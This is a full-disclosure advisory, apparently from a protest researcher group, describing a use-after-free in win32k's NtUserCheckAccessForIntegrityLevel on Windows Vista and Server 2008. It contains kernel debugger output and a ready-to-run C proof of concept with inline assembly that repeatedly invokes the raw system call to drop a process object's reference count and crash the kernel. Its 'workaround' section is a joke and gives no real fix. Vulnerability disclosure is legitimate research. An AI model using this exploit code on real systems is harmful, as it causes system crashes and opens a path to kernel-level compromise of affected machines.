Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-after-free Vulnerability
Intro:
Due to hostility toward security researchers, the most recent example being of Tavis Ormandy, a number of us from the industry (and some not from the industry) have come together to form MSRC: the Microsoft-Spurned Researcher Collective. MSRC will fully disclose vulnerability information discovered in our free time, free from retaliation against us or any inferred employer.
Vulnerability report:
win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008 calls LockProcessByClientId() on the specified ClientID. When this call fails, the refcount will be first decremented by nt!ObfDereferenceObject and then by win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a refcount leak. The refcount leak can be abused to have an in-use process object deleted. (use-after-free)
Some debugging info:
kd> vertarget
Windows Server 2008 Kernel Version 6002 (SP2)
kd> LM m win32k
start end module name
8d460000 8d663000 win32k
kd> BA e 1 8d58d710 \"dt nt!_OBJECT_HEADER @edx PointerCount; g\"
kd> g
+0x000 PointerCount : 145
+0x000 PointerCount : 144
+0x000 PointerCount : 143
...
+0x000 PointerCount : 3
+0x000 PointerCount : 2
+0x000 PointerCount : 1
*** Fatal System Error: 0x00000018
kd> kc
nt!KeBugCheck2
nt!ObfDereferenceObject
win32k!NtUserCheckAccessForIntegrityLevel
nt!KiFastCallEntry
The vulnerability can be triggered in one line below, where 4 is just the PID of PsInitialSystemProcess.
while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL);
Since there's no exported stub for this system call, you'll have to craft the call manually. sysenter is your friend.
http://j00ru.vexillium.org/win32k_syscalls/
POC:
#include <windows.h>
#define LEAK_ME 0x1151
int main(int argc, char *argv[])
{
/* get us some win32k! */
LoadLibrary("user32");
while (1) {
__asm {
mov eax, LEAK_ME
push 0
push 0
push 4
lea edx, dword ptr [esp]
int 0x2e
}
}
}
Workaround:
Microsoft can workaround these advisories by locating the following registry key: HKCU\\Microsoft\\Windows\\CurrentVersion\\Security and changing the "OurJob" boolean value to FALSE.
We at MSRC would like to help you, the users, work around this issue, but PatchGuard will not allow us ;-(
Current MSRC Members (alphabetical order!):
XX XXXXXX
XXXX XXXXXXXX
XXXXX XXX
XXXXXXX XXXXXXX
XXXXXX XXXXXXXXX
XXXXX XXXXXXXX
If you wish to responsibly disclose a vulnerability through full disclosure or want to join our team, fire off an email to: msrc-disclosure () hushmail com
We do have a vetting process by the way, for any Microsoft employees trying to join ;-)
